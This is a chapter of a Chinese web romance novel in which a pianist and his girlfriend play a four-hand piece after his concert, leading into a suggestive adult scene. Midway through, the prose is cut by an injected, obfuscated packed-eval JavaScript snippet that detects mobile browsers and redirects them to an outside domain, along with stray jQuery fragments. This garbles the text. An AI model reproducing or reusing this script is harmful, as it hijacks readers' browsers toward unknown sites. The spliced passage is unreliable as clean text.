49. 是纯爱吗

作品:《被四个前夫哥追上了

    黎安从台前走到了幕后,她还是最佳观众,只不过是从观众席的最中央换成了帷幕之后。


    当帷幕重新落下,她会是第一个上去跟他拥抱的人。


    观众散场,Elvis徐徐朝着站在舞台侧方的黎安走来,眼底尽是笑意。


    他在距离黎安还有一步的位置站定,照例拥住黎安。


    黎安踮着脚才能让下巴枕到他的肩膀,勾着他的脖子有些吃力:“今天也辛苦了。”


    Elvis扶住黎安有些摇摇欲坠的后腰,声音疲惫:“今天没发挥好,弹错几个音。”


    “是吗?我没听出来。”


    黎安是真没注意他究竟错了几个音,每次看他弹琴的时候,她脑子里都是土味情话。


    诸如“不想看哥哥弹琴,只想跟哥哥谈情”、“别弹琴了,来谈恋爱吧”、“哥哥的手不是手,是康桥岸边的垂柳”。


    一想到那张清冷如月的脸下了台之后对她俯首,黎安的心都会多跳几下。至于他弹得怎么样,有没有谈错,对黎安来说已经不重要了。


    但身为一个钢琴家的恋人,她居然在演出的时候走神,全程只盯着他的脸,黎安开始反思。


    她道歉说:“我其实没仔细听。”


    “不用安慰我。”


    “咳咳,”Elvis的小助理皱着眉头,打断旁若无人的小情侣,“他该回去休息了。”


    黎安侧头看向小助理,眼神是不解和被打扰后的不尽兴。


    她和Elvis都对身份的突然转变接受良好,倒是他的助理每每看到他们两个抱在一起的时候都会皱着眉头。


    黎安以小人心思猜测,小助理对Elvis可能会有什么超越同事关系的情愫,但几次观察下来他们之间和暧昧一点都不沾边。


    更何况小助理已经有女朋友了。


    黎安在Elvis怀里点点头:“好,等会儿我送他回去。”


    “你们继续,今天Elvis还需要练习两小时。”小助理板着脸,点了点腕上的手表。


    时间已经不早了,Elvis不回去练琴的话,恐怕晚上睡眠时间会减少。


    “好的,我会监督他的。”黎安说完,小助理摇着头出去了。


    Elvis稍稍松开,捧着黎安的脸转向自己:“你已经跟他对视了两分钟了,别看他。”


    黎安:“就是说几句话,我送你回去吧?你还得练琴。”


    天才不是一日而成的,除了超越常人的天赋之外还有常人难以坚持的努力。


    听小助理说了黎安才知道,Elvis三岁就开始练琴,小时候每天练琴长达八小时。成为职业钢琴家之后,他仍旧保持每天一到两小时的练习。


    日复一日,每天都是练琴、练琴、练琴,Elvis没有对钢琴产生厌倦,他的曲子里依旧是愉悦、舒展、热爱。


    他在N城有一套度假别墅,每次来巡演的时候,就顺便住几天,更多是因为别墅里配了一架施坦威。


    只要在A国,不论多远,Elvis都会尽量赶回别墅。好的琴房不好找,好的琴更不好找,施坦威是他弹过最有手感的,其他的练得再多都差点意思。


    回去之后,黎安进门先擦琴凳,擦琴键,摆上节拍器和琴谱,一套流程下来,Evlis已经坐到厨房的吧台边了。


    他抓起手边的杯子喝了一口:“你现在做起这些比我助理还熟练。”


    Elvis面色薄红,透明的液体在嘴角残留些许。


    “那是,不能因为我耽误你练琴。”


    黎安得意地走过去,和他在一起之后,她的生活重心完全转变。


    她大部分的工作都交给了在国内的Fiona和秦可意,其余的只需要远程处理,剩下的所有时间都用来陪Elvis。


    她的父母也是如此,她妈妈需要在世界各地演出,她的老父亲就跟在后面帮妈妈沟通演出上的杂事,打理琐碎的工作。


    可以说她爸既是经纪人也是助理,虽然很辛苦,但是她爸总是甘之如饴。


    小时候黎安讨厌过他们这对“忘崽”夫妇,等自己尝过了爱情的苦之后才发现,感情真的需要陪伴。


    亲情如此,爱情更如此。


    黎安走近了,坐到Elvis旁边才发现他眼神迷离,身上的礼服已经散了,衣领胡乱地敞开着。


    “喝吗?”杯子被送到黎安唇边。


    她闻到了酒精的味道,但她下意识的反应不是Elvis该不该喝酒,而是他的手指真的很漂亮。


    骨肉匀亭,笔直纤长,不敢想这样的手要是做点X乱的事会是怎样……


    黎安晃了晃头忘掉脑子里的黄色废料,从他手里抢过杯子,不悦道:“怎么喝酒了?”


    “我其实有中文名字,”Elvis醉得不轻,一把将黎安拽到怀里,“有人给我取了秦遂,说要祝我万事顺遂,所愿皆所得。”


    “读起来有点像禽兽。”


    “你不好奇吗?”Evlis贴在黎安耳边吹气,“谁给我取的名字。”


    黎安耳朵发痒但没有多想,她和Evlis在一起有段时间了,做过最多的事情就是牵手,顶多就是搂搂抱抱。


    在她的定位里,他们两个是柏拉图式的爱情。


    每次十指相扣,指尖肌肤相贴,就是黎安又一次为他脸红心跳的时候。


    黎安以为青春期之后,她不会再因为这种简单的动作心悸,没想到是没有遇上对的人。


    “不好奇,”黎安往一边躲了躲,“你该去练琴了。”


    快去练琴,把手放到黑白的琴键上,去轻轻地触摸,去用力地叩响。


    Elvis皱眉沉默几秒,牵住黎安的手拉着她一起在琴凳上坐下:“会弹吗?”


    “我还能完整记住的曲子只有梦中的婚礼。”


    原谅她,她会的曲子本身就不多,疏于练习之后能记得的就更少了。


    严格来说,上了中学之后从来没谈过,她的水平可能连现在的小学生都不如。


    “四手联弹,试一试?”


    Elvis,也就是秦遂没等黎安拒绝,伸长了一只胳膊从黎安肩后绕过去,几乎将她拢在自己怀里。大手覆在黎安的手上,十指相叠。


    黎安像个小朋友一样被他抓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799325|154640||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着手指弹完了整首曲子。


    醉酒的秦遂和平日里的样子相差甚远。


    清醒的时候他台上台下几乎一个样,除了音乐,对什么东西都淡淡的,似乎什么都不在意。而醉酒之后,他时不时地贴在黎安身上,暗戳戳地作一些小动作。


    要说平日里他是古典音乐界的新任天神,喝醉了就更像是天神下凡了。


    黎安窝在天神的怀里耳根发热,不敢有多余的动作。他们不是柏拉图的吗,怎么一下子快进到成人频道了。


    曲子都弹完了,秦遂还没有放过她,抓着她的手继续弹下一首。


    他饶有兴致地在黎安耳边解释曲子的创作过程,想要表达的感情:“对,再舒缓一点。”


    黎安心说是舒缓还是急促,好像由不了她做主,她的手已经丧失自主权,任由秦遂控制了。


    才十分钟,秦遂送来她合上盖子:“今天就练到这里吧。”


    “不继续练了吗?”黎安意犹未尽。


    “练点别的。”


    秦遂将节拍器丢在角落,掐住黎安的腰一把将她抱上去,一手撑在她身侧,一手按在她圆润的膝盖上。


    “练琴的方式有很多种。”秦遂说。


    他的手顺着往上,与黎安对视:“你底子不错,但是缺少耐心,今天教你点别的。”


    黎安坐在琴盖上肌肉绷紧,脸比喝醉了就酒的秦遂还要红。


    秦遂是个认真教学的老师,但黎安不是肯热心学习的好学生。


    他全身贯住一心教学,但黎安已无法集中注意力,开始肆意妄为了。


    门德尔松春之歌的一个片段,黎安学了半个多小时才学会。


    她喘着粗气从琴盖上滑落,被秦遂一把捞回怀里。


    抱住她的人轻轻叹了口气:“怎么体力这么差?”但黎安已经没了回复的力气。


    钢琴家的手指好像比别人更有力,也更灵活,十几分钟前黎安讨教了它的威力。


    她跟秦遂求饶,但秦遂将她禁锢在那,不许她离开。


    人为刀俎,我为鱼肉,秦遂将她囚禁在钢琴上。


    秦遂的衣襟已经完全敞开,露出块垒分明的薄肌,他抽出胸前的方巾细细擦干手指:“今天就教这么多,我会经常抽查的。”


    他帮黎安拢好衣领:“黎安同学表现不错,下次弹琴的时候可以换成这首。”


    黎安想她应该这辈子都很难忘记了,就是她在看见这架钢琴的时候不知道该怎么面对。


    琴盖上不明的水渍被秦遂抹去,除了当事人,应该没人没看出来曾经发生过什么。


    闹了一番之后,黎安身体透支地厉害。


    秦遂倒是酒醒了,只不过垂头盯着黎安和自己的手,不知道在想什么。


    他的手上了上百万美金的保险,也因为这双手,秦遂没有太多选择的余地,能做的事情并不多。


    他也喜欢手工,喜欢做饭,只是简单的两件事,让他在经纪人和助理面前做贼似的。


    黎安靠在秦遂的肩上已经睡熟了。


    秦遂轻轻地碰碰她的睫毛,在她要醒非醒的时候将她打横抱起。